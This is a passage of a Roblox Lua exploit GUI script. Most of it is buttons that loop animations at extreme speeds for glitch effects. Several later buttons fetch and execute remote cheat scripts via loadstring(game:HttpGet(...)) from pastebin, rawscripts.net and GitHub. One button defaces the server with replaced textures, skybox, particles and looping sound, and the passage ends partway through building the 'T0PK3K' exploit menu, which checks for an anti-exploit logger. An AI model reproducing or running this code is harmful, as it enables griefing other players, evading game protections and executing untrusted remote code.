		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local LevitateACTIVE = false
		Levitate.MouseButton1Click:connect(function()
			LevitateACTIVE = not LevitateACTIVE
			if LevitateACTIVE then
				track:Play(.1, 1, 1)
				Levitate.BackgroundColor3 = loc
			else
				track:Stop()
				Levitate.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://183412246"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local DabACTIVE = false
		Dab.MouseButton1Click:connect(function()
			DabACTIVE = not DabACTIVE
			if DabACTIVE then
				Dab.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if DabACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				Dab.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://188632011"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local SpinACTIVE = false
		Spinner.MouseButton1Click:connect(function()
			SpinACTIVE = not SpinACTIVE
			if SpinACTIVE then
				Spinner.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if SpinACTIVE then
							track:Play(.1, 1, 2)
						end
					end
				end
			else
				track:Stop()
				Spinner.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://179224234"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local FloatSitACTIVE = false
		FloatSit.MouseButton1Click:connect(function()
			FloatSitACTIVE = not FloatSitACTIVE
			if FloatSitACTIVE then
				track:Play(.1, 1, 1)
				FloatSit.BackgroundColor3 = loc
			else
				track:Stop()
				FloatSit.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://429703734"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local MovingDanceACTIVE = false
		MovingDance.MouseButton1Click:connect(function()
			MovingDanceACTIVE = not MovingDanceACTIVE
			if MovingDanceACTIVE then
				MovingDance.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if MovingDanceACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				MovingDance.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://215384594"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local WeirdMoveACTIVE = false
		WeirdMove.MouseButton1Click:connect(function()
			WeirdMoveACTIVE = not WeirdMoveACTIVE
			if WeirdMoveACTIVE then
				track:Play(.1, 1, 1)
				WeirdMove.BackgroundColor3 = loc
			else
				track:Stop()
				WeirdMove.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://215384594"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local CloneIllusionACTIVE = false
		CloneIllusion.MouseButton1Click:connect(function()
			CloneIllusionACTIVE = not CloneIllusionACTIVE
			if CloneIllusionACTIVE then
				track:Play(.5, 1, 1e7)
				CloneIllusion.BackgroundColor3 = loc
			else
				track:Stop()
				CloneIllusion.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://313762630"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local GlitchLevitateACTIVE = false
		GlitchLevitate.MouseButton1Click:connect(function()
			GlitchLevitateACTIVE = not GlitchLevitateACTIVE
			if GlitchLevitateACTIVE then
				track:Play(.5, 1, 1e7)
				GlitchLevitate.BackgroundColor3 = loc
			else
				track:Stop()
				GlitchLevitate.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://429730430"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local SpinDanceACTIVE = false
		SpinDance.MouseButton1Click:connect(function()
			SpinDanceACTIVE = not SpinDanceACTIVE
			if SpinDanceACTIVE then
				SpinDance.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if SpinDanceACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				SpinDance.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://45834924"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local MoonDanceACTIVE = false
		MoonDance.MouseButton1Click:connect(function()
			MoonDanceACTIVE = not MoonDanceACTIVE
			if MoonDanceACTIVE then
				MoonDance.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if MoonDanceACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				MoonDance.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204062532"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local FullPunchACTIVE = false
		FullPunch.MouseButton1Click:connect(function()
			FullPunchACTIVE = not FullPunchACTIVE
			if FullPunchACTIVE then
				FullPunch.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if FullPunchACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				FullPunch.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://186934910"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local SpinDance2ACTIVE = false
		SpinDance2.MouseButton1Click:connect(function()
			SpinDance2ACTIVE = not SpinDance2ACTIVE
			if SpinDance2ACTIVE then
				SpinDance2.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if SpinDance2ACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				SpinDance2.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204292303"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local BowDownACTIVE = false
		BowDown.MouseButton1Click:connect(function()
			BowDownACTIVE = not BowDownACTIVE
			if BowDownACTIVE then
				BowDown.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if BowDownACTIVE then
							track:Play(.1, 1, 3)
						end
					end
				end
			else
				track:Stop()
				BowDown.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204295235"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local SwordSlamACTIVE = false
		SwordSlam.MouseButton1Click:connect(function()
			SwordSlamACTIVE = not SwordSlamACTIVE
			if SwordSlamACTIVE then
				SwordSlam.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if SwordSlamACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				SwordSlam.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204295235"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local LoopSlamACTIVE = false
		LoopSlam.MouseButton1Click:connect(function()
			LoopSlamACTIVE = not LoopSlamACTIVE
			if LoopSlamACTIVE then
				LoopSlam.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if LoopSlamACTIVE then
							track:Play(.1, 1, 1e4)
						end
					end
				end
			else
				track:Stop()
				LoopSlam.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://184574340"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local MegaInsaneACTIVE = false
		MegaInsane.MouseButton1Click:connect(function()
			MegaInsaneACTIVE = not MegaInsaneACTIVE
			if MegaInsaneACTIVE then
				MegaInsane.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if MegaInsaneACTIVE then
							track:Play(.1, 0.5, 40)
						end
					end
				end
			else
				track:Stop()
				MegaInsane.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://126753849"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local SuperPunchACTIVE = false
		SuperPunch.MouseButton1Click:connect(function()
			SuperPunchACTIVE = not SuperPunchACTIVE
			if SuperPunchACTIVE then
				SuperPunch.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if SuperPunchACTIVE then
							track:Play(.1, 1, 3)
						end
					end
				end
			else
				track:Stop()
				SuperPunch.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://218504594"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local FullSwingACTIVE = false
		FullSwing.MouseButton1Click:connect(function()
			FullSwingACTIVE = not FullSwingACTIVE
			if FullSwingACTIVE then
				FullSwing.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if FullSwingACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				FullSwing.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://259438880"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local ArmTurbineACTIVE = false
		ArmTurbine.MouseButton1Click:connect(function()
			ArmTurbineACTIVE = not ArmTurbineACTIVE
			if ArmTurbineACTIVE then
				track:Play(.1, 1, 1e3)
				ArmTurbine.BackgroundColor3 = loc
			else
				track:Stop()
				ArmTurbine.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://136801964"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local BarrelRollACTIVE = false
		BarrelRoll.MouseButton1Click:connect(function()
			BarrelRollACTIVE = not BarrelRollACTIVE
			if BarrelRollACTIVE then
				BarrelRoll.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if BarrelRollACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				BarrelRoll.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://180612465"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local ScaredACTIVE = false
		Scared.MouseButton1Click:connect(function()
			ScaredACTIVE = not ScaredACTIVE
			if ScaredACTIVE then
				Scared.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if ScaredACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				Scared.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://33796059"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local InsaneACTIVE = false
		Insane.MouseButton1Click:connect(function()
			InsaneACTIVE = not InsaneACTIVE
			if InsaneACTIVE then
				track:Play(.1, 1, 1e8)
				Insane.BackgroundColor3 = loc
			else
				track:Stop()
				Insane.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://33169583"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local ArmDetachACTIVE = false
		ArmDetach.MouseButton1Click:connect(function()
			ArmDetachACTIVE = not ArmDetachACTIVE
			if ArmDetachACTIVE then
				ArmDetach.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if ArmDetachACTIVE then
							track:Play(.1, 1, 1e6)
						end
					end
				end
			else
				track:Stop()
				ArmDetach.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://35978879"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local SwordSliceACTIVE = false
		SwordSlice.MouseButton1Click:connect(function()
			SwordSliceACTIVE = not SwordSliceACTIVE
			if SwordSliceACTIVE then
				track:Play(.1, 1, 1)
				SwordSlice.BackgroundColor3 = loc
			else
				track:Stop()
				SwordSlice.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://27432691"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local InsaneArmsACTIVE = false
		InsaneArms.MouseButton1Click:connect(function()
			InsaneArmsACTIVE = not InsaneArmsACTIVE
			if InsaneArmsACTIVE then
				InsaneArms.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if InsaneArmsACTIVE then
							track:Play(.1, 1, 1e4)
						end
					end
				end
			else
				track:Stop()
				InsaneArms.BackgroundColor3 = col
			end
		end)
		-- R15
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://674871189"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local CrazySlashACTIVE = false
		CrazySlash.MouseButton1Click:connect(function()
			CrazySlashACTIVE = not CrazySlashACTIVE
			if CrazySlashACTIVE then
				CrazySlash.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if CrazySlashACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				CrazySlash.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://582855105"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local OpenACTIVE = false
		Open.MouseButton1Click:connect(function()
			OpenACTIVE = not OpenACTIVE
			if OpenACTIVE then
				Open.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if OpenACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				Open.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://754658275"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local R15SpinnerACTIVE = false
		R15Spinner.MouseButton1Click:connect(function()
			R15SpinnerACTIVE = not R15SpinnerACTIVE
			if R15SpinnerACTIVE then
				R15Spinner.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if R15SpinnerACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				R15Spinner.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://582384156"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local ArmsOutACTIVE = false
		ArmsOut.MouseButton1Click:connect(function()
			ArmsOutACTIVE = not ArmsOutACTIVE
			if ArmsOutACTIVE then
				ArmsOut.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if ArmsOutACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				ArmsOut.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://717879555"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local FloatSlashACTIVE = false
		FloatSlash.MouseButton1Click:connect(function()
			FloatSlashACTIVE = not FloatSlashACTIVE
			if FloatSlashACTIVE then
				FloatSlash.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if FloatSlashACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				FloatSlash.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://708553116"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		WeirdZombieACTIVE = false
		WeirdZombie.MouseButton1Click:connect(function()
			WeirdZombieACTIVE = not WeirdZombieACTIVE
			if WeirdZombieACTIVE then
				WeirdZombie.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if WeirdZombieACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				WeirdZombie.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://746398327"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		DownSlashACTIVE = false
		DownSlash.MouseButton1Click:connect(function()
			DownSlashACTIVE = not DownSlashACTIVE
			if DownSlashACTIVE then
				DownSlash.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if DownSlashACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				DownSlash.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://675025795"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		PullACTIVE = false
		Pull.MouseButton1Click:connect(function()
			PullACTIVE = not PullACTIVE
			if PullACTIVE then
				Pull.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if PullACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				Pull.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://698251653"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		CircleArmACTIVE = false
		CircleArm.MouseButton1Click:connect(function()
			CircleArmACTIVE = not CircleArmACTIVE
			if CircleArmACTIVE then
				CircleArm.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if CircleArmACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				CircleArm.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://696096087"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		BendACTIVE = false
		Bend.MouseButton1Click:connect(function()
			BendACTIVE = not BendACTIVE
			if BendACTIVE then
				Bend.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if BendACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				Bend.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://675025570"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		RotateSlashACTIVE = false
		RotateSlash.MouseButton1Click:connect(function()
			RotateSlashACTIVE = not RotateSlashACTIVE
			if RotateSlashACTIVE then
				RotateSlash.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if RotateSlashACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				RotateSlash.BackgroundColor3 = rcol
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://754656200"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		FlingArmsACTIVE = false
		FlingArms.MouseButton1Click:connect(function()
			FlingArmsACTIVE = not FlingArmsACTIVE
			if FlingArmsACTIVE then
				FlingArms.BackgroundColor3 = rloc
				while wait() do
					if track.IsPlaying == false then
						if FlingArmsACTIVE then
							track:Play(.1, 1, 10)
						end
					end
				end
			else
				track:Stop()
				FlingArms.BackgroundColor3 = rcol
			end
		end)
	end)
end;
task.spawn(C_15);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_17()
local script = G2L["17"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://rawscripts.net/raw/OpFinality_590"))()
	end)
end;
task.spawn(C_17);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_19()
local script = G2L["19"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/refs/heads/main/executor"))()
	end)
end;
task.spawn(C_19);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_1b()
local script = G2L["1b"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
	
		loadstring(game:HttpGet("https://raw.githubusercontent.com/Pa1ntex/reviz-admin-v2-script-FE/refs/heads/main/Reviz%20admin%20v2%20FE"))()
	end)
end;
task.spawn(C_1b);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_1d()
local script = G2L["1d"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Old-Replication-UI-still-works-5477"))()
	end)
end;
task.spawn(C_1d);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_1f()
local script = G2L["1f"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))()
	end)
end;
task.spawn(C_1f);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_21()
local script = G2L["21"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://github.com/ltseverydayyou/Nameless-Admin/blob/main/Source.lua?raw=NEWLOADSTRINGYAYAYA"))();
	end)
end;
task.spawn(C_21);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_25()
local script = G2L["25"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
	
		loadstring(game:GetObjects("rbxassetid://157645868")[1].Source)( )
	end)
end;
task.spawn(C_25);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_27()
local script = G2L["27"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local decalID = "78829839839537"
		function exPro(root)
			for _, v in pairs(root:GetChildren()) do
				if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
					v.Parent = nil
				elseif v:IsA("BasePart") then
					v.Material = "Plastic"
					v.Transparency = 0
					local One = Instance.new("Decal", v)
					local Two = Instance.new("Decal", v)
					local Three = Instance.new("Decal", v)
					local Four = Instance.new("Decal", v)
					local Five = Instance.new("Decal", v)
					local Six = Instance.new("Decal", v)
					One.Texture = "http://www.roblox.com/asset/?id="..decalID
					Two.Texture = "http://www.roblox.com/asset/?id="..decalID
					Three.Texture = "http://www.roblox.com/asset/?id="..decalID
					Four.Texture = "http://www.roblox.com/asset/?id="..decalID
					Five.Texture = "http://www.roblox.com/asset/?id="..decalID
					Six.Texture = "http://www.roblox.com/asset/?id="..decalID
					One.Face = "Front"
					Two.Face = "Back"
					Three.Face = "Right"
					Four.Face = "Left"
					Five.Face = "Top"
					Six.Face = "Bottom"
				end
				exPro(v)
			end
		end
		function asdf(root)
			for _, v in pairs(root:GetChildren()) do
				asdf(v)
			end
		end
		exPro(game.Workspace)
		asdf(game.Workspace)
		local s = Instance.new("Sky")
		s.Name = "Sky"
		s.Parent = game.Lighting
		local skyboxID = "78829839839537"
		s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
		s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
		s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
		s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
		s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
		s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
		game.Lighting.TimeOfDay = 12	
		local playerLeaderstats = {}
		for i, v in pairs(game.Players:GetChildren()) do
			table.insert(playerLeaderstats, v)
		end
		for i, v in pairs(playerLeaderstats) do
			pe = Instance.new("ParticleEmitter",v.Character.Torso)
			pe.Texture = "http://www.roblox.com/asset/?id=78829839839537"
			pe.VelocitySpread = 50
			se = Instance.new("ParticleEmitter",v.Character.Torso)
			se.Texture = "http://www.roblox.com/asset/?id=78829839839537"
			se.VelocitySpread = 50
			fe = Instance.new("ParticleEmitter",v.Character.Torso)
			fe.Texture = "http://www.roblox.com/asset/?id=78829839839537"
			fe.VelocitySpread = 50
		end
		for i,v in pairs(game.Workspace:GetChildren()) do
			if v.className == "Sound" then
				v:Stop()
				v:Remove()	
			end	
		end
		s = Instance.new("Sound",game.Workspace)
		s.SoundId = "rbxassetid://95156028272944"
		s.Volume = 3
		s.Looped = true
		s.Pitch = 0.2
		s:Play()
		wait(.1)
		s:Play()
	
	end)
end;
task.spawn(C_27);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_29()
local script = G2L["29"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:GetObjects('rbxassetid://289110135')[1].Source)()
	end)
end;
task.spawn(C_29);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_2b()
local script = G2L["2b"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--boobs lol
	
		local ScreenGui = Instance.new("ScreenGui")
	
		local Base = Instance.new("Frame")
	
		local Top = Instance.new("Frame")
	
		local First = Instance.new("TextLabel")
	
		local Second = Instance.new("TextLabel")
	
		local Location = Instance.new("TextLabel")
	
		local Exit = Instance.new("TextButton")
	
		local HomeContainer = Instance.new("Frame")
	
		local Players = Instance.new("Frame")
	
		local ImageLabel = Instance.new("ImageLabel")
	
		local TextLabel = Instance.new("TextLabel")
	
		local Mask = Instance.new("TextButton")
	
		local Server = Instance.new("Frame")
	
		local ImageLabel_2 = Instance.new("ImageLabel")
	
		local TextLabel_2 = Instance.new("TextLabel")
	
		local Mask_2 = Instance.new("TextButton")
	
		local LocalPlayer = Instance.new("Frame")
	
		local ImageLabel_3 = Instance.new("ImageLabel")
	
		local TextLabel_3 = Instance.new("TextLabel")
	
		local Mask_3 = Instance.new("TextButton")
	
		local Scripts = Instance.new("Frame")
	
		local ImageLabel_4 = Instance.new("ImageLabel")
	
		local TextLabel_4 = Instance.new("TextLabel")
	
		local Mask_4 = Instance.new("TextButton")
	
		local Miscellaneous = Instance.new("Frame")
	
		local ImageLabel_5 = Instance.new("ImageLabel")
	
		local TextLabel_5 = Instance.new("TextLabel")
	
		local Mask_5 = Instance.new("TextButton")
	
		local Settings = Instance.new("Frame")
	
		local ImageLabel_6 = Instance.new("ImageLabel")
	
		local TextLabel_6 = Instance.new("TextLabel")
	
		local Mask_6 = Instance.new("TextButton")
	
		local Navigator = Instance.new("ScrollingFrame")
	
		local Item = Instance.new("TextButton")
	
		local ServerContainer = Instance.new("ScrollingFrame")
	
		local dd = Instance.new("TextButton")
	
		local ImageLabel_7 = Instance.new("ImageLabel")
	
		local LocalPlayerContainer = Instance.new("ScrollingFrame")
	
		local PlayersContainer = Instance.new("ScrollingFrame")
	
	
	
		-- Properties
	
		local hist = game:GetService("LogService"):GetLogHistory()
	
		local eiss = false
	
		for i,v in pairs(hist) do
	
			if string.find(v["message"]:lower(), "eiss") then
	
				eiss = true
	
				warn("Detected EISS, Parenting to PlayerGui")
	
			end
	
		end
	
		if eiss then
	
			ScreenGui.Parent = game.Players.LocalPlayer.PlayerGui
	
			game.StarterGui.ResetPlayerGuiOnSpawn = false
	
		else
	
			ScreenGui.Parent = script.Parent
	
		end
	
	
	
		Base.Name = "Base"
	
		Base.Parent = ScreenGui
	
		Base.Active = true
	
		Base.BackgroundColor3 = Color3.new(0.054902, 0.0901961, 0.113725)
	
		Base.BorderColor3 = Color3.new(0.0156863, 0.027451, 0.0352941)
	
		Base.BorderSizePixel = 2
	
		Base.Draggable = true
	
		Base.Position = UDim2.new(0, 50, 0, 250)
	
		Base.Selectable = true
	
		Base.Size = UDim2.new(0, 450, 0, 250)
	
	
	
		Top.Name = "Top"
	
		Top.Parent = Base
	
		Top.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
	
		Top.BackgroundTransparency = 0.5
	
		Top.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137)
	
		Top.Position = UDim2.new(0, 10, 0, 7)
	
		Top.Size = UDim2.new(1, -20, 0, 20)
	
	
	
		First.Name = "First"
	
		First.Parent = Top
	
		First.BackgroundColor3 = Color3.new(1, 1, 1)
	
		First.BackgroundTransparency = 1
	
		First.BorderColor3 = Color3.new(0.32549, 0.313726, 0.313726)
	
		First.Size = UDim2.new(1, 0, 1, 0)
	
		First.Font = Enum.Font.SourceSans
	
		First.FontSize = Enum.FontSize.Size18
	
		First.Text = "  T0PK3K 3.0"
	
		First.TextColor3 = Color3.new(0.721569, 0.027451, 0.211765)
	
		First.TextStrokeTransparency = 0
	
		First.TextXAlignment = Enum.TextXAlignment.Left
	
	
	
		Second.Name = "Second"
	
		Second.Parent = Top
	
		Second.BackgroundColor3 = Color3.new(1, 1, 1)
	
		Second.BackgroundTransparency = 1
	
		Second.BorderColor3 = Color3.new(0.32549, 0.313726, 0.313726)
	
		Second.Position = UDim2.new(1, -125, 0, 0)
	
		Second.Size = UDim2.new(0, 100, 1, 0)
	
		Second.Font = Enum.Font.SourceSans
	
		Second.FontSize = Enum.FontSize.Size18
	
		Second.Text = "Cerberus Edition"
	
		Second.TextColor3 = Color3.new(0.721569, 0.027451, 0.211765)
	
